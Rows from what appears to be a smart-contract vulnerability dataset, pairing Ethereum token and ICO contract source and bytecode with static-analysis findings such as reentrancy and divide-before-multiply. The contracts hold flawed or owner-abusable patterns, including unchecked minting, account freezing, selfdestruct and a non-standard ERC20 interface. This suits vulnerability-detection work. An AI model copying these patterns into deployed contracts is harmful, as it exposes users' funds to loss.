} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054b578063dd62ed3e14610561578063ea1644d5146105a7578063f2fde38b146105c757600080fd5b8063a9059cbb146104c6578063bfd79284146104e6578063c3c8cd8014610516578063c492f0461461052b57600080fd5b80638f9a55c0116100d15780638f9a55c01461044157806395d89b411461045757806398a5c31514610486578063a2a957bb146104a657600080fd5b80637d1db4a5146103ed5780638da5cb5b146104035780638f70ccf71461042157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038357806370a0823114610398578063715018a6146103b857806374010ece146103cd57600080fd5b8063313ce5671461030757806349bd5a5e146103235780636b999053146103435780636d8aa8f81461036357600080fd5b80631694505e116101ab5780631694505e1461027357806318160ddd146102ab57806323b872dd146102d15780632fd689e3146102f157600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024357600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b8b565b6105e7565b005b34801561020a57600080fd5b5060408051808201909152600a815269544f4d424f5920494e5560b01b60208201525b60405161023a9190611cb5565b60405180910390f35b34801561024f57600080fd5b5061026361025e366004611ae1565b610694565b604051901515815260200161023a565b34801561027f57600080fd5b50601554610293906001600160a01b031681565b6040516001600160a01b03909116815260200161023a565b3480156102b757600080fd5b50683635c9adc5dea000005b60405190815260200161023a565b3480156102dd57600080fd5b506102636102ec366004611aa1565b6106ab565b3480156102fd57600080fd5b506102c360195481565b34801561031357600080fd5b506040516009815260200161023a565b34801561032f57600080fd5b50601654610293906001600160a01b031681565b34801561034f57600080fd5b506101fc61035e366004611a31565b610714565b34801561036f57600080fd5b506101fc61037e366004611c52565b61075f565b34801561038f57600080fd5b506101fc6107a7565b3480156103a457600080fd5b506102c36103b3366004611a31565b6107f2565b3480156103c457600080fd5b506101fc610814565b3480156103d957600080fd5b506101fc6103e8366004611c6c565b610888565b3480156103f957600080fd5b506102c360175481565b34801561040f57600080fd5b506000546001600160a01b0316610293565b34801561042d57600080fd5b506101fc61043c366004611c52565b6108b7565b34801561044d57600080fd5b506102c360185481565b34801561046357600080fd5b50604080518082019091526006815265544f4d424f5960d01b602082015261022d565b34801561049257600080fd5b506101fc6104a1366004611c6c565b610904565b3480156104b257600080fd5b506101fc6104c1366004611c84565b610933565b3480156104d257600080fd5b506102636104e1366004611ae1565b610971565b3480156104f257600080fd5b50610263610501366004611a31565b60116020526000908152604090205460ff1681565b34801561052257600080fd5b506101fc61097e565b34801561053757600080fd5b506101fc610546366004611b0c565b6109d2565b34801561055757600080fd5b506102c360085481565b34801561056d57600080fd5b506102c361057c366004611a69565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b357600080fd5b506101fc6105c2366004611c6c565b610a81565b3480156105d357600080fd5b506101fc6105e2366004611a31565b610ab0565b6000546001600160a01b0316331461061a5760405162461bcd60e51b815260040161061190611d08565b60405180910390fd5b60005b81518110156106905760016011600084848151811061064c57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068881611e1b565b91505061061d565b5050565b60006106a1338484610b9a565b5060015b92915050565b60006106b8848484610cbe565b61070a843361070585604051806060016040528060288152602001611e78602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611271565b610b9a565b5060019392505050565b6000546001600160a01b0316331461073e5760405162461bcd60e51b815260040161061190611d08565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b031633146107895760405162461bcd60e51b815260040161061190611d08565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107dc57506014546001600160a01b0316336001600160a01b0316145b6107e557600080fd5b476107ef816112ab565b50565b6001600160a01b0381166000908152600260205260408120546106a590611330565b6000546001600160a01b0316331461083e5760405162461bcd60e51b815260040161061190611d08565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b25760405162461bcd60e51b815260040161061190611d08565b601755565b6000546001600160a01b031633146108e15760405162461bcd60e51b815260040161061190611d08565b60168054911515600160a01b0260ff60a01b199092169190911790556003600855565b6000546001600160a01b0316331461092e5760405162461bcd60e51b815260040161061190611d08565b601955565b6000546001600160a01b0316331461095d5760405162461bcd60e51b815260040161061190611d08565b600993909355600b91909155600a55600c55565b60006106a1338484610cbe565b6013546001600160a01b0316336001600160a01b031614806109b357506014546001600160a01b0316336001600160a01b0316145b6109bc57600080fd5b60006109c7306107f2565b90506107ef816113b4565b6000546001600160a01b031633146109fc5760405162461bcd60e51b815260040161061190611d08565b60005b82811015610a7b578160056000868685818110610a2c57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a419190611a31565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7381611e1b565b9150506109ff565b50505050565b6000546001600160a01b03163314610aab5760405162461bcd60e51b815260040161061190611d08565b601855565b6000546001600160a01b03163314610ada5760405162461bcd60e51b815260040161061190611d08565b6001600160a01b038116610b3f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610611565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfc5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610611565b6001600160a01b038216610c5d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610611565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d225760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610611565b6001600160a01b038216610d845760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610611565b60008111610de65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610611565b6000546001600160a01b03848116911614801590610e1257506000546001600160a01b03838116911614155b1561116a57601654600160a01b900460ff16610eab576000546001600160a01b03848116911614610eab5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610611565b601754811115610efd5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610611565b6001600160a01b03831660009081526011602052604090205460ff16158015610f3f57506001600160a01b03821660009081526011602052604090205460ff16155b610f975760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610611565b6008544311158015610fb657506016546001600160a01b038481169116145b8015610fd057506015546001600160a01b03838116911614155b8015610fe557506001600160a01b0382163014155b1561100e576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110935760185481611030846107f2565b61103a9190611dad565b106110935760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610611565b600061109e306107f2565b6019546017549192508210159082106110b75760175491505b8080156110ce5750601654600160a81b900460ff16155b80156110e857506016546001600160a01b03868116911614155b80156110fd5750601654600160b01b900460ff165b801561112257506001600160a01b03851660009081526005602052604090205460ff16155b801561114757506001600160a01b03841660009081526005602052604090205460ff16155b1561116757611155826113b4565b47801561116557611165476112ab565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111ac57506001600160a01b03831660009081526005602052604090205460ff165b806111de57506016546001600160a01b038581169116148015906111de57506016546001600160a01b03848116911614155b156111eb57506000611265565b6016546001600160a01b03858116911614801561121657506015546001600160a01b03848116911614155b1561122857600954600d55600a54600e555b6016546001600160a01b03848116911614801561125357506015546001600160a01b03858116911614155b1561126557600b54600d55600c54600e555b610a7b84848484611559565b600081848411156112955760405162461bcd60e51b81526004016106119190611cb5565b5060006112a28486611e04565b95945050505050565b6013546001600160a01b03166108fc6112c5836002611587565b6040518115909202916000818181858888f193505050501580156112ed573d6000803e3d6000fd5b506014546001600160a01b03166108fc611308836002611587565b6040518115909202916000818181858888f19350505050158015610690573d6000803e3d6000fd5b60006006548211156113975760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610611565b60006113a16115c9565b90506113ad8382611587565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061140a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561145e57600080fd5b505afa158015611472573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114969190611a4d565b816001815181106114b757634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546114dd9130911684610b9a565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611516908590600090869030904290600401611d3d565b600060405180830381600087803b15801561153057600080fd5b505af1158015611544573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611566576115666115ec565b61157184848461161a565b80610a7b57610a7b600f54600d55601054600e55565b60006113ad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611711565b60008060006115d661173f565b90925090506115e58282611587565b9250505090565b600d541580156115fc5750600e54155b1561160357565b600d8054600f55600e805460105560009182905555565b60008060008060008061162c87611781565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061165e90876117de565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461168d9086611820565b6001600160a01b0389166000908152600260205260409020556116af8161187f565b6116b984836118c9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516116fe91815260200190565b60405180910390a3505050505050505050565b600081836117325760405162461bcd60e51b81526004016106119190611cb5565b5060006112a28486611dc5565b6006546000908190683635c9adc5dea0000061175b8282611587565b82101561177857505060065492683635c9adc5dea0000092509050565b90939092509050565b600080600080600080600080600061179e8a600d54600e546118ed565b92509250925060006117ae6115c9565b905060008060006117c18e878787611942565b919e509c509a509598509396509194505050505091939550919395565b60006113ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611271565b60008061182d8385611dad565b9050838110156113ad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610611565b60006118896115c9565b905060006118978383611992565b306000908152600260205260409020549091506118b49082611820565b30600090815260026020526040902055505050565b6006546118d690836117de565b6006556007546118e69082611820565b6007555050565b600080808061190760646119018989611992565b90611587565b9050600061191a60646119018a89611992565b905060006119328261192c8b866117de565b906117de565b9992985090965090945050505050565b60008080806119518886611992565b9050600061195f8887611992565b9050600061196d8888611992565b9050600061197f8261192c86866117de565b939b939a50919850919650505050505050565b6000826119a1575060006106a5565b60006119ad8385611de5565b9050826119ba8583611dc5565b146113ad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610611565b8035611a1c81611e62565b919050565b80358015158114611a1c57600080fd5b600060208284031215611a42578081fd5b81356113ad81611e62565b600060208284031215611a5e578081fd5b81516113ad81611e62565b60008060408385031215611a7b578081fd5b8235611a8681611e62565b91506020830135611a9681611e62565b809150509250929050565b600080600060608486031215611ab5578081fd5b8335611ac081611e62565b92506020840135611ad081611e62565b929592945050506040919091013590565b60008060408385031215611af3578182fd5b8235611afe81611e62565b946020939093013593505050565b600080600060408486031215611b20578283fd5b833567ffffffffffffffff80821115611b37578485fd5b818601915086601f830112611b4a578485fd5b813581811115611b58578586fd5b8760208260051b8501011115611b6c578586fd5b602092830195509350611b829186019050611a21565b90509250925092565b60006020808385031215611b9d578182fd5b823567ffffffffffffffff80821115611bb4578384fd5b818501915085601f830112611bc7578384fd5b813581811115611bd957611bd9611e4c565b8060051b604051601f19603f83011681018181108582111715611bfe57611bfe611e4c565b604052828152858101935084860182860187018a1015611c1c578788fd5b8795505b83861015611c4557611c3181611a11565b855260019590950194938601938601611c20565b5098975050505050505050565b600060208284031215611c63578081fd5b6113ad82611a21565b600060208284031215611c7d578081fd5b5035919050565b60008060008060808587031215611c99578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611ce157858101830151858201604001528201611cc5565b81811115611cf25783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d8c5784516001600160a01b031683529383019391830191600101611d67565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611dc057611dc0611e36565b500190565b600082611de057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611dff57611dff611e36565b500290565b600082821015611e1657611e16611e36565b500390565b6000600019821415611e2f57611e2f611e36565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ef57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a88eda3fa3ee33cb44eb2e3ddb28a89ec73d775bf4926b9963cdf6500d3ae6a364736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 862 |
0xd082e94b1fcad2a083ed817618b24b14399439ec | pragma solidity ^0.4.24;
contract owned {
address public owner;
constructor () public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract ERC20 is owned {
// Public variables of the token
string public name = "PerfectChain Network";
string public symbol = "PNN";
uint8 public decimals = 18;
uint256 public totalSupply = 200000000 * 10 ** uint256(decimals);
bool public released = false;
/// contract that is allowed to create new tokens and allows unlift the transfer limits on this token
address public ICO_Contract;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => bool) public frozenAccount;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
constructor () public {
balanceOf[owner] = totalSupply;
}
modifier canTransfer() {
require(released || msg.sender == ICO_Contract || msg.sender == owner);
_;
}
function releaseToken() public onlyOwner {
released = true;
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint256 _value) canTransfer internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Check if sender is frozen
require(!frozenAccount[_from]);
// Check if recipient is frozen
require(!frozenAccount[_to]);
// Save this for an assertion in the future
uint256 previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) canTransfer public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
emit Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
/// @dev Set the ICO_Contract.
/// @param _ICO_Contract crowdsale contract address
function setICO_Contract(address _ICO_Contract) onlyOwner public {
ICO_Contract = _ICO_Contract;
}
}
contract Killable is owned {
function kill() onlyOwner public {
selfdestruct(owner);
}
}
contract ERC20_ICO is owned, Killable {
/// The token we are selling
ERC20 public token;
/// the UNIX timestamp start date of the crowdsale
uint256 public startsAt = 1528489000;
/// the UNIX timestamp end date of the crowdsale
uint256 public endsAt = 1530000000;
/// the price of token
uint256 public TokenPerETH = 5600;
/// Has this crowdsale been finalized
bool public finalized = false;
/// the number of tokens already sold through this contract
uint256 public tokensSold = 0;
/// the number of ETH raised through this contract
uint256 public weiRaised = 0;
/// How many distinct addresses have invested
uint256 public investorCount = 0;
/// How much Token minimum sale.
uint256 public Soft_Cap = 40000000000000000000000000;
/// How much Token maximum sale.
uint256 public Hard_Cap = 140000000000000000000000000;
/// How much ETH each address has invested to this crowdsale
mapping (address => uint256) public investedAmountOf;
/// A new investment was made
event Invested(address investor, uint256 weiAmount, uint256 tokenAmount);
/// Crowdsale Start time has been changed
event StartsAtChanged(uint256 startsAt);
/// Crowdsale end time has been changed
event EndsAtChanged(uint256 endsAt);
/// Calculated new price
event RateChanged(uint256 oldValue, uint256 newValue);
/// Refund was processed for a contributor
event Refund(address investor, uint256 weiAmount);
constructor (address _token) public {
token = ERC20(_token);
}
function investInternal(address receiver) private {
require(!finalized);
require(startsAt <= now && endsAt > now);
require(tokensSold <= Hard_Cap);
require(msg.value >= 10000000000000000);
if(investedAmountOf[receiver] == 0) {
// A new investor
investorCount++;
}
// Update investor
uint256 tokensAmount = msg.value * TokenPerETH;
investedAmountOf[receiver] += msg.value;
// Update totals
tokensSold += tokensAmount;
weiRaised += msg.value;
// Tell us invest was success
emit Invested(receiver, msg.value, tokensAmount);
if (msg.value >= 100000000000000000 && msg.value < 10000000000000000000 ) {
// 0.1-10 ETH 20% Bonus
tokensAmount = tokensAmount * 120 / 100;
}
if (msg.value >= 10000000000000000000 && msg.value < 30000000000000000000) {
// 10-30 ETH 30% Bonus
tokensAmount = tokensAmount * 130 / 100;
}
if (msg.value >= 30000000000000000000) {
// 30 ETh and more 40% Bonus
tokensAmount = tokensAmount * 140 / 100;
}
token.transfer(receiver, tokensAmount);
// Transfer Fund to owner's address
owner.transfer(address(this).balance);
}
function buy() public payable {
investInternal(msg.sender);
}
function setStartsAt(uint256 time) onlyOwner public {
require(!finalized);
startsAt = time;
emit StartsAtChanged(startsAt);
}
function setEndsAt(uint256 time) onlyOwner public {
require(!finalized);
endsAt = time;
emit EndsAtChanged(endsAt);
}
function setRate(uint256 value) onlyOwner public {
require(!finalized);
require(value > 0);
emit RateChanged(TokenPerETH, value);
TokenPerETH = value;
}
function finalize() public onlyOwner {
// Finalized Pre ICO crowdsele.
finalized = true;
}
} | 0x6080604052600436106100fb576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062f49203146101005780630a09284a1461012b5780631aae34601461015657806334fcf437146101ad5780633f52c660146101da5780634042b66f1461020557806341c0e1b5146102305780634bb278f3146102475780634c9779721461025e578063518ab2a8146102895780636e50eb3f146102b45780638da5cb5b146102e1578063a6f2ae3a14610338578063af46868214610342578063b3f05b971461036d578063bf5fc2ee1461039c578063d7e64c00146103c9578063fc0c546a146103f4575b600080fd5b34801561010c57600080fd5b5061011561044b565b6040518082815260200191505060405180910390f35b34801561013757600080fd5b50610140610451565b6040518082815260200191505060405180910390f35b34801561016257600080fd5b50610197600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610457565b6040518082815260200191505060405180910390f35b3480156101b957600080fd5b506101d86004803603810190808035906020019092919050505061046f565b005b3480156101e657600080fd5b506101ef610540565b6040518082815260200191505060405180910390f35b34801561021157600080fd5b5061021a610546565b6040518082815260200191505060405180910390f35b34801561023c57600080fd5b5061024561054c565b005b34801561025357600080fd5b5061025c6105e1565b005b34801561026a57600080fd5b50610273610659565b6040518082815260200191505060405180910390f35b34801561029557600080fd5b5061029e61065f565b6040518082815260200191505060405180910390f35b3480156102c057600080fd5b506102df60048036038101908080359060200190929190505050610665565b005b3480156102ed57600080fd5b506102f661071f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610340610744565b005b34801561034e57600080fd5b5061035761074f565b6040518082815260200191505060405180910390f35b34801561037957600080fd5b50610382610755565b604051808215151515815260200191505060405180910390f35b3480156103a857600080fd5b506103c760048036038101908080359060200190929190505050610768565b005b3480156103d557600080fd5b506103de610822565b6040518082815260200191505060405180910390f35b34801561040057600080fd5b50610409610828565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600a5481565b60035481565b600b6020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156104ca57600080fd5b600560009054906101000a900460ff161515156104e657600080fd5b6000811115156104f557600080fd5b7f4ac9052a820bf4f8c02d7588587cae835573b5b99ea7ad4ca002f17f319f718660045482604051808381526020018281526020019250505060405180910390a18060048190555050565b60045481565b60075481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105a757600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561063c57600080fd5b6001600560006101000a81548160ff021916908315150217905550565b60095481565b60065481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106c057600080fd5b600560009054906101000a900460ff161515156106dc57600080fd5b806003819055507fd34bb772c4ae9baa99db852f622773b31c7827e8ee818449fef20d30980bd3106003546040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61074d3361084e565b565b60025481565b600560009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156107c357600080fd5b600560009054906101000a900460ff161515156107df57600080fd5b806002819055507fa3f2a813a039e5195c620dabcd490267a9aa5a50e4e1383bc474e9b800f7defe6002546040518082815260200191505060405180910390a150565b60085481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900460ff1615151561086c57600080fd5b426002541115801561087f575042600354115b151561088a57600080fd5b600a546006541115151561089d57600080fd5b662386f26fc1000034101515156108b357600080fd5b6000600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141561090e576008600081548092919060010191905055505b6004543402905034600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600660008282540192505081905550346007600082825401925050819055507f9e9d071824fd57d062ca63fd8b786d8da48a6807eebbcb2d83f9e8d21398e28c823483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a167016345785d8a00003410158015610a145750678ac7230489e8000034105b15610a2c57606460788202811515610a2857fe5b0490505b678ac7230489e800003410158015610a4c57506801a055690d9db8000034105b15610a6457606460828202811515610a6057fe5b0490505b6801a055690d9db8000034101515610a89576064608c8202811515610a8557fe5b0490505b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015610b4e57600080fd5b505af1158015610b62573d6000803e3d6000fd5b505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610be4573d6000803e3d6000fd5b5050505600a165627a7a7230582017be29c623791d3df8735a3588e0edb2e74e57527171fa02a509cd509d664dbf0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 863 |
0x824ddb94f7a55b44c14687458f54f46dbdd3e2fb | /**
*Submitted for verification at Etherscan.io on 2021-07-05
*/
/*
No Team & Marketing wallet. 100% of the tokens will be on the market for trade.
https://t.me/microAKITA
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
